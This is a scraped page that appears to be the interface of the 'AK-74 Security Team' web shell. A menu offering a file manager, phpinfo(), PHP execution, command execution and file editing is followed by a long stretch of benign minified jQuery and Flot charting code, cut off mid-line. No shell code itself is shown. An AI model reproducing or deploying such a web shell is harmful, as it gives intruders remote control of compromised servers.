.:: :[ AK-74 Security Team Web-shell ]: ::.
General information
File manager
phpinfo()
Run PHP
Execute the command
Edit the file
(function(c){c.color={};c.color.make=function(b,g,j,i){var a={};a.r=b||0;a.g=g||0;a.b=j||0;a.a=i!=null?i:1;a.add=function(e,f){for(var h=0;h<e.length;++h){a[e.charAt(h)]+=f}return a.normalize()};a.scale=function(e,f){for(var h=0;h<e.length;++h){a[e.charAt(h)]*=f}return a.normalize()};a.toString=function(){if(a.a>=1){return"rgb("+[a.r,a.g,a.b].join(",")+")"}else{return"rgba("+[a.r,a.g,a.b,a.a].join(",")+")"}};a.normalize=function(){function e(h,f,l){return f<h?h:f>l?l:f}a.r=e(0,parseInt(a.r),255);a.g=e(0,parseInt(a.g),255);a.b=e(0,parseInt(a.b),255);a.a=e(0,a.a,1);return a};a.clone=function(){return c.color.make(a.r,a.b,a.g,a.a)};return a.normalize()};c.color.extract=function(b,g){var a;do{a=b.css(g).toLowerCase();if(a!=""&&a!="transparent"){break}b=b.parent()}while(b.length&&!c.nodeName(b.get(0),"body"));if(a=="rgba(0, 0, 0, 0)"){a="transparent"}return c.color.parse(a)};c.color.parse=function(a){var b,h=c.color.make;if(b=/rgb\(\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*\)/.exec(a)){return h(parseInt(b[1],10),parseInt(b[2],10),parseInt(b[3],10))}if(b=/rgba\(\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*,\s*([0-9]+(?:\.[0-9]+)?)\s*\)/.exec(a)){return h(parseInt(b[1],10),parseInt(b[2],10),parseInt(b[3],10),parseFloat(b[4]))}if(b=/rgb\(\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*\)/.exec(a)){return h(parseFloat(b[1])*2.55,parseFloat(b[2])*2.55,parseFloat(b[3])*2.55)}if(b=/rgba\(\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\s*\)/.exec(a)){return h(parseFloat(b[1])*2.55,parseFloat(b[2])*2.55,parseFloat(b[3])*2.55,parseFloat(b[4]))}if(b=/#([a-fA-F0-9]{2})([a-fA-F0-9]{2})([a-fA-F0-9]{2})/.exec(a)){return h(parseInt(b[1],16),parseInt(b[2],16),parseInt(b[3],16))}if(b=/#([a-fA-F0-9])([a-fA-F0-9])([a-fA-F0-9])/.exec(a)){return h(parseInt(b[1]+b[1],16),parseInt(b[2]+b[2],16),parseInt(b[3]+b[3],16))}var g=c.trim(a).toLowerCase();if(g=="transparent"){return h(255,255,255,0)}else{b=d[g]||[0,0,0];return h(b[0],b[1],b[2])}};var d={aqua:[0,255,255],azure:[240,255,255],beige:[245,245,220],black:[0,0,0],blue:[0,0,255],brown:[165,42,42],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgrey:[169,169,169],darkgreen:[0,100,0],darkkhaki:[189,183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkviolet:[148,0,211],fuchsia:[255,0,255],gold:[255,215,0],green:[0,128,0],indigo:[75,0,130],khaki:[240,230,140],lightblue:[173,216,230],lightcyan:[224,255,255],lightgreen:[144,238,144],lightgrey:[211,211,211],lightpink:[255,182,193],lightyellow:[255,255,224],lime:[0,255,0],magenta:[255,0,255],maroon:[128,0,0],navy:[0,0,128],olive:[128,128,0],orange:[255,165,0],pink:[255,192,203],purple:[128,0,128],violet:[128,0,128],red:[255,0,0],silver:[192,192,192],white:[255,255,255],yellow:[255,255,0]}})(jQuery);(function(h){var i=Object.prototype.hasOwnProperty;function g(d,e){var b=e.children("."+d)[0];if(b==null){b=document.createElement("canvas");b.className=d;h(b).css({direction:"ltr",position:"absolute",left:0,top:0}).appendTo(e);if(!b.getContext){if(window.G_vmlCanvasManager){b=window.G_vmlCanvasManager.initElement(b)}else{throw new Error("Canvas is not available. If you're using IE with a fall-back such as Excanvas, then there's either a mistake in your conditional include, or the page has no DOCTYPE and is rendering in Quirks Mode.")}}}this.element=b;var c=this.context=b.getContext("2d");var l=window.devicePixelRatio||1,a=c.webkitBackingStorePixelRatio||c.mozBackingStorePixelRatio||c.msBackingStorePixelRatio||c.oBackingStorePixelRatio||c.backingStorePixelRatio||1;this.pixelRatio=l/a;this.resize(e.width(),e.height());this.textContainer=null;this.text={};this._textCache={}}g.prototype.resize=function(b,e){if(b<=0||e<=0){throw new Error("Invalid dimensions for plot, width = "+b+", height = "+e)}var c=this.element,d=this.context,a=this.pixelRatio;if(this.width!=b){c.width=b*a;c.style.width=b+"px";this.width=b}if(this.height!=e){c.height=e*a;c.style.height=e+"px";this.height=e}d.restore();d.save();d.scale(a,a)};g.prototype.clear=function(){this.context.clearRect(0,0,this.width,this.height)};g.prototype.render=function(){var u=this._textCache;for(var b in u){if(i.call(u,b)){var c=this.getTextLayer(b),t=u[b];c.hide();for(var d in t){if(i.call(t,d)){var s=t[d];for(var a in s){if(i.call(s,a)){var q=s[a].positions;for(var r=0,e;e=q[r];r++){if(e.active){if(!e.rendered){c.append(e.element);e.rendered=true}}else{q.splice(r--,1);if(e.rendered){e.element.detach()}}}if(q.length==0){delete s[a]}}}}}c.show()}}};g.prototype.getTextLayer=function(a){var b=this.text[a];if(b==null){if(this.textContainer==null){this.textContainer=h("<div class='flot-text'></div>").css({position:"absolute",top:0,left:0,bottom:0,right:0,"font-size":"smaller",color:"#545454"}).insertAfter(this.element)}b=this.text[a]=h("<div></div>").addClass(a).css({position:"absolute",top:0,left:0,bottom:0,right:0}).appendTo(this.textContainer)}return b};g.prototype.getTextInfo=function(c,a,p,e,s){var b,t,q,r;a=""+a;if(typeof p==="object"){b=p.style+" "+p.variant+" "+p.weight+" "+p.size+"px/"+p.lineHeight+"px "+p.family}else{b=p}t=this._textCache[c];if(t==null){t=this._textCache[c]={}}q=t[b];if(q==null){q=t[b]={}}r=q[a];if(r==null){var d=h("<div></div>").html(a).css({position:"absolute","max-width":s,top:-9999}).appendTo(this.getTextLayer(c));if(typeof p==="object"){d.css({font:b,color:p.color})}else{if(typeof p==="string"){d.addClass(p)}}r=q[a]={width:d.outerWidth(true),height:d.outerHeight(true),element:d,positions:[]};d.detach()}return r};g.prototype.addText=function(d,a,c,A,x,w,z,e,b){var y=this.getTextInfo(d,A,x,w,z),u=y.positions;if(e=="center"){a-=y.width/2}else{if(e=="right"){a-=y.width}}if(b=="middle"){c-=y.height/2}else{if(b=="bottom"){c-=y.height}}for(var v=0,t;t=u[v];v++){if(t.x==a&&t.y==c){t.active=true;return}}t={active:true,rendered:false,element:u.length?y.element.clone():y.element,x:a,y:c};u.push(t);t.element.css({top:Math.round(c),left:Math.round(a),"text-align":e})};g.prototype.removeText=function(d,b,c,A,x,w){if(A==null){var z=this._textCache[d];if(z!=null){for(var e in z){if(i.call(z,e)){var y=z[e];for(var a in y){if(i.call(y,a)){var u=y[a].positions;for(var v=0,t;t=u[v];v++){t.active=false}}}}}}}else{var u=this.getTextInfo(d,A,x,w).positions;for(var v=0,t;t=u[v];v++){if(t.x==b&&t.y==c){t.active=false}}}};function j(aH,bd,a9,by){var bl=[],aR={colors:["#edc240","#afd8f8","#cb4b4b","#4da74d","#9440ed"],legend:{show:true,noColumns:1,labelFormatter:null,labelBoxBorderColor:"#ccc",container:null,position:"ne",margin:5,backgroundColor:null,backgroundOpacity:0.85,sorted:null},xaxis:{show:null,position:"bottom",mode:null,font:null,color:null,tickColor:null,transform:null,inverseTransform:null,min:null,max:null,autoscaleMargin:null,ticks:null,tickFormatter:null,labelWidth:null,labelHeight:null,reserveSpace:null,tickLength:null,alignTicksWithAxis:null,tickDecimals:null,tickSize:null,minTickSize:null},yaxis:{autoscaleMargin:0.02,position:"left"},xaxes:[],yaxes:[],series:{points:{show:false,radius:3,lineWidth:2,fill:true,fillColor:"#ffffff",symbol:"circle"},lines:{lineWidth:2,fill:false,fillColor:null,steps:false},bars:{show:false,lineWidth:2,barWidth:1,fill:true,fillColor:null,align:"left",horizontal:false,zero:true},shadowSize:3,highlightColor:null},grid:{show:true,aboveData:false,color:"#e5e5e5",backgroundColor:null,borderColor:null,tickColor:null,margin:0,labelMargin:5,axisMargin:8,borderWidth:1,minBorderMargin:null,markings:null,markingsColor:"#f5f5f5",markingsLineWidth:2,clickable:false,hoverable:false,autoHighlight:true,mouseActiveRadius:10},interaction:{redrawOverlayInterval:1000/60},hooks:{}},bb=null,aS=null,aQ=null,a7=null,ay=null,aN=[],e=[],aV={left:0,right:0,top:0,bottom:0},bu=0,a8=0,bp={processOptions:[],processRawData:[],processDatapoints:[],processOffset:[],drawBackground:[],drawSeries:[],draw:[],bindEvents:[],drawOverlay:[],shutdown:[]},bx=this;bx.setData=aT;bx.setupGrid=aL;bx.draw=aC;bx.getPlaceholder=function(){return aH};bx.getCanvas=function(){return bb.element};bx.getPlotOffset=function(){return aV};bx.width=function(){return bu};bx.height=function(){return a8};bx.offset=function(){var k=aQ.offset();k.left+=aV.left;k.top+=aV.top;return k};bx.getData=function(){return bl};bx.getAxes=function(){var k={},l;h.each(aN.concat(e),function(n,m){if(m){k[m.direction+(m.n!=1?m.n:"")+"axis"]=m}});return k};bx.getXAxes=function(){return aN};bx.getYAxes=function(){return e};bx.c2p=b;bx.p2c=aF;bx.getOptions=function(){return aR};bx.highlight=aO;bx.unhighlight=a0;bx.triggerRedrawOverlay=c;bx.pointOffset=function(k){return{left:parseInt(aN[bh(k,"x")-1].p2c(+k.x)+aV.left,10),top:parseInt(e[bh(k,"y")-1].p2c(+k.y)+aV.top,10)}};bx.shutdown=bq;bx.destroy=function(){bq();aH.removeData("plot").empty();bl=[];aR=null;bb=null;aS=null;aQ=null;a7=null;ay=null;aN=[];e=[];bp=null;a2=[];bx=null};bx.resize=function(){var k=aH.width(),l=aH.height();bb.resize(k,l);aS.resize(k,l)};bx.hooks=bp;aZ(bx);be(a9);d();aT(bd);aL();aC();aG();function a3(m,l){l=[bx].concat(l);for(var k=0;k<m.length;++k){m[k].apply(this,l)}}function aZ(){var k={Canvas:g};for(var l=0;l<by.length;++l){var m=by[l];m.init(bx,k);if(m.options){h.extend(true,aR,m.options)}}}function be(r){h.extend(true,aR,r);if(r&&r.colors){aR.colors=r.colors}if(aR.xaxis.color==null){aR.xaxis.color=h.color.parse(aR.grid.color).scale("a",0.22).toString()}if(aR.yaxis.color==null){aR.yaxis.color=h.color.parse(aR.grid.color).scale("a",0.22).toString()}if(aR.xaxis.tickColor==null){aR.xaxis.tickColor=aR.grid.tickColor||aR.xaxis.color}if(aR.yaxis.tickColor==null){aR.yaxis.tickColor=aR.grid.tickColor||aR.yaxis.color}if(aR.grid.borderColor==null){aR.grid.borderColor=aR.grid.color}if(aR.grid.tickColor==null){aR.grid.tickColor=h.color.parse(aR.grid.color).scale("a",0.22).toString()}var q,k,m,o=aH.css("font-size"),p=o?+o.replace("px",""):13,n={style:aH.css("font-style"),size:Math.round(0.8*p),variant:aH.css("font-variant"),weight:aH.css("font-weight"),family:aH.css("font-family")};m=aR.xaxes.length||1;for(q=0;q<m;++q){k=aR.xaxes[q];if(k&&!k.tickColor){k.tickColor=k.color}k=h.extend(true,{},aR.xaxis,k);aR.xaxes[q]=k;if(k.font){k.font=h.extend({},n,k.font);if(!k.font.color){k.font.color=k.color}if(!k.font.lineHeight){k.font.lineHeight=Math.round(k.font.size*1.15)}}}m=aR.yaxes.length||1;for(q=0;q<m;++q){k=aR.yaxes[q];if(k&&!k.tickColor){k.tickColor=k.color}k=h.extend(true,{},aR.yaxis,k);aR.yaxes[q]=k;if(k.font){k.font=h.extend({},n,k.font);if(!k.font.color){k.font.color=k.color}if(!k.font.lineHeight){k.font.lineHeight=Math.round(k.font.size*1.15)}}}if(aR.xaxis.noTicks&&aR.xaxis.ticks==null){aR.xaxis.ticks=aR.xaxis.noTicks}if(aR.yaxis.noTicks&&aR.yaxis.ticks==null){aR.yaxis.ticks=aR.yaxis.noTicks}if(aR.x2axis){aR.xaxes[1]=h.extend(true,{},aR.xaxis,aR.x2axis);aR.xaxes[1].position="top"}if(aR.y2axis){aR.yaxes[1]=h.extend(true,{},aR.yaxis,aR.y2axis);aR.yaxes[1].position="right"}if(aR.grid.coloredAreas){aR.grid.markings=aR.grid.coloredAreas}if(aR.grid.coloredAreasColor){aR.grid.markingsColor=aR.grid.coloredAreasColor}if(aR.lines){h.extend(true,aR.series.lines,aR.lines)}if(aR.points){h.extend(true,aR.series.points,aR.points)}if(aR.bars){h.extend(true,aR.series.bars,aR.bars)}if(aR.shadowSize!=null){aR.series.shadowSize=aR.shadowSize}if(aR.highlightColor!=null){aR.series.highlightColor=aR.highlightColor}for(q=0;q<aR.xaxes.length;++q){aP(aN,q+1).options=aR.xaxes[q]}for(q=0;q<aR.yaxes.length;++q){aP(e,q+1).options=aR.yaxes[q]}for(var l in bp){if(aR.hooks[l]&&aR.hooks[l].length){bp[l]=bp[l].concat(aR.hooks[l])}}a3(bp.processOptions,[aR])}function aT(k){bl=bo(k);bg();aE()}function bo(m){var k=[];for(var l=0;l<m.length;++l){var n=h.extend(true,{},aR.series);if(m[l].data!=null){n.data=m[l].data;delete m[l].data;h.extend(true,n,m[l]);m[l].data=n.data}else{n.data=m[l]}k.push(n)}return k}function bh(k,m){var l=k[m+"axis"];if(typeof l=="object"){l=l.n}if(typeof l!="number"){l=1}return l}function bv(){return h.grep(aN.concat(e),function(k){return k})}function b(m){var k={},l,n;for(l=0;l<aN.length;++l){n=aN[l];if(n&&n.used){k["x"+n.n]=n.c2p(m.left)}}for(l=0;l<e.length;++l){n=e[l];if(n&&n.used){k["y"+n.n]=n.c2p(m.top)}}if(k.x1!==undefined){k.x=k.x1}if(k.y1!==undefined){k.y=k.y1}return k}function aF(l){var o={},k,n,m;for(k=0;k<aN.length;++k){n=aN[k];if(n&&n.used){m="x"+n.n;if(l[m]==null&&n.n==1){m="x"}if(l[m]!=null){o.left=n.p2c(l[m]);break}}}for(k=0;k<e.length;++k){n=e[k];if(n&&n.used){m="y"+n.n;if(l[m]==null&&n.n==1){m="y"}if(l[m]!=null){o.top=n.p2c(l[m]);break}}}return o}function aP(k,l){if(!k[l-1]){k[l-1]={n:l,direction:k==aN?"x":"y",options:h.extend(true,{},k==aN?aR.xaxis:aR.yaxis)}}return k[l-1]}function bg(){var k=bl.length,t=-1,s;for(s=0;s<bl.length;++s){var n=bl[s].color;if(n!=null){k--;if(typeof n=="number"&&n>t){t=n}}}if(k<=t){k=t+1}var o,w=[],p=aR.colors,q=p.length,u=0;for(s=0;s<k;s++){o=h.color.parse(p[s%q]||"#666");if(s%q==0&&s){if(u>=0){if(u<0.5){u=-u-0.2}else{u=0}}else{u=-u}}w[s]=o.scale("rgb",1+u)}var r=0,v;for(s=0;s<bl.length;++s){v=bl[s];if(v.color==null){v.color=w[r].toString();++r}else{if(typeof v.color=="number"){v.color=w[v.color].toString()}}if(v.lines.show==null){var l,m=true;for(l in v){if(v[l]&&v[l].show){m=false;break}}if(m){v.lines.show=true}}if(v.lines.zero==null){v.lines.zero=!!v.lines.fill}v.xaxis=aP(aN,bh(v,"x"));v.yaxis=aP(e,bh(v,"y"))}}function aE(){var x=Number.POSITIVE_INFINITY,F=Number.NEGATIVE_INFINITY,B=Number.MAX_VALUE,q,s,t,y,L,E,r,w,G,H,A,k,n,C,l,o;function J(M,N,O){if(N<M.datamin&&N!=-B){M.datamin=N}if(O>M.datamax&&O!=B){M.datamax=O}}h.each(bv(),function(N,M){M.datamin=x;M.datamax=F;M.used=false});for(q=0;q<bl.length;++q){E=bl[q];E.datapoints={points:[]};a3(bp.processRawData,[E,E.data,E.datapoints])}for(q=0;q<bl.length;++q){E=bl[q];l=E.data;o=E.datapoints.format;if(!o){o=[];o.push({x:true,number:true,required:true});o.push({y:true,number:true,required:true});if(E.bars.show||E.lines.show&&E.lines.fill){var v=!!(E.bars.show&&E.bars.zero||E.lines.show&&E.lines.zero);o.push({y:true,number:true,required:false,defaultValue:0,autoscale:v});if(E.bars.horizontal){delete o[o.length-1].y;o[o.length-1].x=true}}E.datapoints.format=o}if(E.datapoints.pointsize!=null){continue}E.datapoints.pointsize=o.length;w=E.datapoints.pointsize;r=E.datapoints.points;var I=E.lines.show&&E.lines.steps;E.xaxis.used=E.yaxis.used=true;for(s=t=0;s<l.length;++s,t+=w){C=l[s];var K=C==null;if(!K){for(y=0;y<w;++y){k=C[y];n=o[y];if(n){if(n.number&&k!=null){k=+k;if(isNaN(k)){k=null}else{if(k==Infinity){k=B}else{if(k==-Infinity){k=-B}}}}if(k==null){if(n.required){K=true}if(n.defaultValue!=null){k=n.defaultValue}}}r[t+y]=k}}if(K){for(y=0;y<w;++y){k=r[t+y];if(k!=null){n=o[y];if(n.autoscale!==false){if(n.x){J(E.xaxis,k,k)}if(n.y){J(E.yaxis,k,k)}}}r[t+y]=null}}else{if(I&&t>0&&r[t-w]!=null&&r[t-w]!=r[t]&&r[t-w+1]!=r[t+1]){for(y=0;y<w;++y){r[t+w+y]=r[t+y]}r[t+1]=r[t-w+1];t+=w}}}}for(q=0;q<bl.length;++q){E=bl[q];a3(bp.processDatapoints,[E,E.datapoints])}for(q=0;q<bl.length;++q){E=bl[q];r=E.datapoints.points;w=E.datapoints.pointsize;o=E.datapoints.format;var D=x,u=x,z=F,p=F;for(s=0;s<r.length;s+=w){if(r[s]==null){continue}for(y=0;y<w;++y){k=r[s+y];n=o[y];if(!n||n.autoscale===false||k==B||k==-B){continue}if(n.x){if(k<D){D=k}if(k>z){z=k}}if(n.y){if(k<u){u=k}if(k>p){p=k}}}}if(E.bars.show){var m;switch(E.bars.align){case"left":m=0;break;case"right":m=-E.bars.barWidth;break;default:m=-E.bars.barWidth/2}if(E.bars.horizontal){u+=m;p+=m+E.bars.barWidth}else{D+=m;z+=m+E.bars.barWidth}}J(E.xaxis,D,z);J(E.yaxis,u,p)}h.each(bv(),function(N,M){if(M.datamin==x){M.datamin=null}if(M.datamax==F){M.datamax=null}})}function d(){aH.css("padding",0).children().filter(function(){return !h(this).hasClass("flot-overlay")&&!h(this).hasClass("flot-base")}).remove();if(aH.css("position")=="static"){aH.css("position","relative")}bb=new g("flot-base",aH);aS=new g("flot-overlay",aH);a7=bb.context;ay=aS.context;aQ=h(aS.element).unbind();var k=aH.data("plot");if(k){k.shutdown();aS.clear()}aH.data("plot",bx)}function aG(){if(aR.grid.hoverable){aQ.mousemove(bz);aQ.bind("mouseleave",aI)}if(aR.grid.clickable){aQ.click(aW)}a3(bp.bindEvents,[aQ])}function bq(){if(bt){clearTimeout(bt)}aQ.unbind("mousemove",bz);aQ.unbind("mouseleave",aI);aQ.unbind("click",aW);a3(bp.shutdown,[aQ])}function br(k){function m(q){return q}var l,o,p=k.options.transform||m,n=k.options.inverseTransform;if(k.direction=="x"){l=k.scale=bu/Math.abs(p(k.max)-p(k.min));o=Math.min(p(k.max),p(k.min))}else{l=k.scale=a8/Math.abs(p(k.max)-p(k.min));l=-l;o=Math.max(p(k.max),p(k.min))}if(p==m){k.p2c=function(q){return(q-o)*l}}else{k.p2c=function(q){return(p(q)-o)*l}}if(!n){k.c2p=function(q){return o+q/l}}else{k.c2p=function(q){return n(o+q/l)}}}function a(s){var v=s.options,m=s.ticks||[],n=v.labelWidth||0,r=v.labelHeight||0,l=n||(s.direction=="x"?Math.floor(bb.width/(m.length||1)):null),p=s.direction+"Axis "+s.direction+s.n+"Axis",o="flot-"+s.direction+"-axis flot-"+s.direction+s.n+"-axis "+p,t=v.font||"flot-tick-label tickLabel";for(var q=0;q<m.length;++q){var k=m[q];if(!k.label){continue}var u=bb.getTextInfo(o,k.label,t,null,l);n=Math.max(n,u.width);r=Math.max(r,u.height)}s.labelWidth=v.labelWidth||n;s.labelHeight=v.labelHeight||r}function a5(t){var u=t.labelWidth,m=t.labelHeight,o=t.options.position,v=t.direction==="x",q=t.options.tickLength,p=aR.grid.axisMargin,n=aR.grid.labelMargin,k=true,r=true,s=true,l=false;h.each(v?aN:e,function(w,x){if(x&&x.reserveSpace){if(x===t){l=true}else{if(x.options.position===o){if(l){r=false}else{k=false}}}if(!l){s=false}}});if(r){p=0}if(q==null){q=s?"full":5}if(!isNaN(+q)){n+=+q}if(v){m+=n;if(o=="bottom"){aV.bottom+=m+p;t.box={top:bb.height-aV.bottom,height:m}}else{t.box={top:aV.top+p,height:m};aV.top+=m+p}}else{u+=n;if(o=="left"){t.box={left:aV.left+p,width:u};aV.left+=u+p}else{aV.right+=u+p;t.box={left:bb.width-aV.right,width:u}}}t.position=o;t.tickLength=q;t.box.padding=n;t.innermost=k}function bc(k){if(k.direction=="x"){k.box.left=aV.left-k.labelWidth/2;k.box.width=bb.width-aV.left-aV.right+k.labelWidth}else{k.box.top=aV.top-k.labelHeight/2;k.box.height=bb.height-aV.bottom-aV.top+k.labelHeight}}function ba(){var n=aR.grid.minBorderMargin,k,m;if(n==null){n=0;for(m=0;m<bl.length;++m){n=Math.max(n,2*(bl[m].points.radius+bl[m].points.lineWidth/2))}}var l={left:n,right:n,top:n,bottom:n};h.each(bv(),function(q,o){if(o.reserveSpace&&o.ticks&&o.ticks.length){var p=o.ticks[o.ticks.length-1];if(o.direction==="x"){l.left=Math.max(l.left,o.labelWidth/2);if(p.v<=o.max){l.right=Math.max(l.right,o.labelWidth/2)}}else{l.bottom=Math.max(l.bottom,o.labelHeight/2);if(p.v<=o.max){l.top=Math.max(l.top,o.labelHeight/2)}}}});aV.left=Math.ceil(Math.max(l.left,aV.left));aV.right=Math.ceil(Math.max(l.right,aV.right));aV.top=Math.ceil(Math.max(l.top,aV.top));aV.bottom=Math.ceil(Math.max(l.bottom,aV.bottom))}function aL(){var p,m=bv(),k=aR.grid.show;for(var l in aV){var o=aR.grid.margin||0;aV[l]=typeof o=="number"?o:o[l]||0}a3(bp.processOffset,[aV]);for(var l in aV){if(typeof aR.grid.borderWidth=="object"){aV[l]+=k?aR.grid.borderWidth[l]:0}else{aV[l]+=k?aR.grid.borderWidth:0}}h.each(m,function(r,q){q.show=q.options.show;if(q.show==null){q.show=q.used}q.reserveSpace=q.show||q.options.reserveSpace;bs(q)});if(k){var n=h.grep(m,function(q){return q.reserveSpace});h.each(n,function(r,q){aJ(q);ax(q);bk(q,q.ticks);a(q)});for(p=n.length-1;p>=0;--p){a5(n[p])}ba();h.each(n,function(r,q){bc(q)})}bu=bb.width-aV.left-aV.right;a8=bb.height-aV.bottom-aV.top;h.each(m,function(r,q){br(q)});if(k){aD()}az()}function bs(p){var n=p.options,q=+(n.min!=null?n.min:p.datamin),o=+(n.max!=null?n.max:p.datamax),k=o-q;if(k==0){var m=o==0?1:0.01;if(n.min==null){q-=m}if(n.max==null||n.min!=null){o+=m}}else{var l=n.autoscaleMargin;if(l!=null){if(n.min==null){q-=k*l;if(q<0&&p.datamin!=null&&p.datamin>=0){q=0}}if(n.max==null){o+=k*l;if(o>0&&p.datamax!=null&&p.datamax<=0){o=0}}}}p.min=q;p.max=o}function aJ(q){var u=q.options;var r;if(typeof u.ticks=="number"&&u.ticks>0){r=u.ticks}else{r=0.3*Math.sqrt(q.direction=="x"?bb.width:bb.height)}var l=(q.max-q.min)/r,p=-Math.floor(Math.log(l)/Math.LN10),s=u.tickDecimals;if(s!=null&&p>s){p=s}var w=Math.pow(10,-p),t=l/w,v;if(t<1.5){v=1}else{if(t<3){v=2;if(t>2.25&&(s==null||p+1<=s)){v=2.5;++p}}else{if(t<7.5){v=5}else{v=10}}}v*=w;if(u.minTickSize!=null&&v<u.minTickSize){v=u.minTickSize}q.delta=l;q.tickDecimals=Math.max(0,s!=null?s:p);q.tickSize=u.tickSize||v;if(u.mode=="time"&&!q.tickGenerator){throw new Error("Time mode requires the flot.time plugin.")}if(!q.tickGenerator){q.tickGenerator=function(A){var y=[],x=f(A.min,A.tickSize),B=0,C=Number.NaN,z;do{z=C;C=x+B*A.tickSize;y.push(C);++B}while(C<A.max&&C!=z);return y};q.tickFormatter=function(x,z){var A=z.tickDecimals?Math.pow(10,z.tickDecimals):1;var y=""+Math.round(x*A)/A;if(z.tickDecimals!=null){var B=y.indexOf(".");var C=B==-1?0:y.length-B-1;if(C<z.tickDecimals){return(C?y:y+".")+(""+A).substr(1,z.tickDecimals-C)}}return y}}if(h.isFunction(u.tickFormatter)){q.tickFormatter=function(y,x){return""+u.tickFormatter(y,x)}}if(u.alignTicksWithAxis!=null){var o=(q.direction=="x"?aN:e)[u.alignTicksWithAxis-1];if(o&&o.used&&o!=q){var k=q.tickGenerator(q);if(k.length>0){if(u.min==null){q.min=Math.min(q.min,k[0])}if(u.max==null&&k.length>1){q.max=Math.max(q.max,k[k.length-1])}}q.tickGenerator=function(y){var x=[],A,z;for(z=0;z<o.ticks.length;++z){A=(o.ticks[z].v-o.min)/(o.max-o.min);A=y.min+A*(y.max-y.min);x.push(A)}return x};if(!q.mode&&u.tickDecimals==null){var m=Math.max(0,-Math.floor(Math.log(q.delta)/Math.LN10)+1),n=q.tickGenerator(q);if(!(n.length>1&&/\..*0$/.test((n[1]-n[0]).toFixed(m)))){q.tickDecimals=m}}}}}function ax(n){var k=n.options.ticks,l=[];if(k==null||typeof k=="number"&&k>0){l=n.tickGenerator(n)}else{if(k){if(h.isFunction(k)){l=k(n)}else{l=k}}}var p,o;n.ticks=[];for(p=0;p<l.length;++p){var m=null;var q=l[p];if(typeof q=="object"){o=+q[0];if(q.length>1){m=q[1]}}else{o=+q}if(m==null){m=n.tickFormatter(o,n)}if(!isNaN(o)){n.ticks.push({v:o,label:m})}}}function bk(l,k){if(l.options.autoscaleMargin&&k.length>0){if(l.options.min==null){l.min=Math.min(l.min,k[0].v)}if(l.options.max==null&&k.length>1){l.max=Math.max(l.max,k[k.length-1].v)}}}function aC(){bb.clear();a3(bp.drawBackground,[a7]);var k=aR.grid;if(k.show&&k.backgroundColor){bn()}if(k.show&&!k.aboveData){bi()}for(var l=0;l<bl.length;++l){a3(bp.drawSeries,[a7,bl[l]]);aX(bl[l])}a3(bp.draw,[a7]);if(k.show&&k.aboveData){bi()}bb.render();c()}function bm(s,o){var r,m,l,k,n=bv();for(var p=0;p<n.length;++p){r=n[p];if(r.direction==o){k=o+r.n+"axis";if(!s[k]&&r.n==1){k=o+"axis"}if(s[k]){m=s[k].from;l=s[k].to;break}}}if(!s[k]){r=o=="x"?aN[0]:e[0];m=s[o+"1"];l=s[o+"2"]}if(m!=null&&l!=null&&m>l){var q=m;m=l;l=q}return{from:m,to:l,axis:r}}function bn(){a7.save();a7.translate(aV.left,aV.top);a7.fillStyle=bj(aR.grid.backgroundColor,a8,0,"rgba(255, 255, 255, 0)");a7.fillRect(0,0,bu,a8);a7.restore()}function bi(){var r,l,A,n;a7.save();a7.translate(aV.left,aV.top);var p=aR.grid.markings;if(p){if(h.isFunction(p)){l=bx.getAxes();l.xmin=l.xaxis.min;l.xmax=l.xaxis.max;l.ymin=l.yaxis.min;l.ymax=l.yaxis.max;p=p(l)}for(r=0;r<p.length;++r){var t=p[r],y=bm(t,"x"),o=bm(t,"y");if(y.from==null){y.from=y.axis.min}if(y.to==null){y.to=y.axis.max}if(o.from==null){o.from=o.axis.min}if(o.to==null){o.to=o.axis.max}if(y.to<y.axis.min||y.from>y.axis.max||o.to<o.axis.min||o.from>o.axis.max){continue}y.from=Math.max(y.from,y.axis.min);y.to=Math.min(y.to,y.axis.max);o.from=Math.max(o.from,o.axis.min);o.to=Math.min(o.to,o.axis.max);if(y.from==y.to&&o.from==o.to){continue}y.from=y.axis.p2c(y.from);y.to=y.axis.p2c(y.to);o.from=o.axis.p2c(o.from);o.to=o.axis.p2c(o.to);if(y.from==y.to||o.from==o.to){a7.beginPath();a7.strokeStyle=t.color||aR.grid.markingsColor;a7.lineWidth=t.lineWidth||aR.grid.markingsLineWidth;a7.moveTo(y.from,o.from);a7.lineTo(y.to,o.to);a7.stroke()}else{a7.fillStyle=t.color||aR.grid.markingsColor;a7.fillRect(y.from,o.to,y.to-y.from,o.from-o.to)}}}l=bv();A=aR.grid.borderWidth;for(var s=0;s<l.length;++s){var z=l[s],q=z.box,u=z.tickLength,x,k,v,m;if(!z.show||z.ticks.length==0){continue}a7.lineWidth=1;if(z.direction=="x"){x=0;if(u=="full"){k=z.position=="top"?0:a8}else{k=q.top-aV.top+(z.position=="top"?q.height:0)}}else{k=0;if(u=="full"){x=z.position=="left"?0:bu}else{x=q.left-aV.left+(z.position=="left"?q.width:0)}}if(!z.innermost){a7.strokeStyle=z.options.color;a7.beginPath();v=m=0;if(z.direction=="x"){v=bu+1}else{m=a8+1}if(a7.lineWidth==1){if(z.direction=="x"){k=Math.floor(k)+0.5}else{x=Math.floor(x)+0.5}}a7.moveTo(x,k);a7.lineTo(x+v,k+m);a7.stroke()}a7.strokeStyle=z.options.tickColor;a7.beginPath();for(r=0;r<z.ticks.length;++r){var w=z.ticks[r].v;v=m=0;if(isNaN(w)||w<z.min||w>z.max||u=="full"&&(typeof 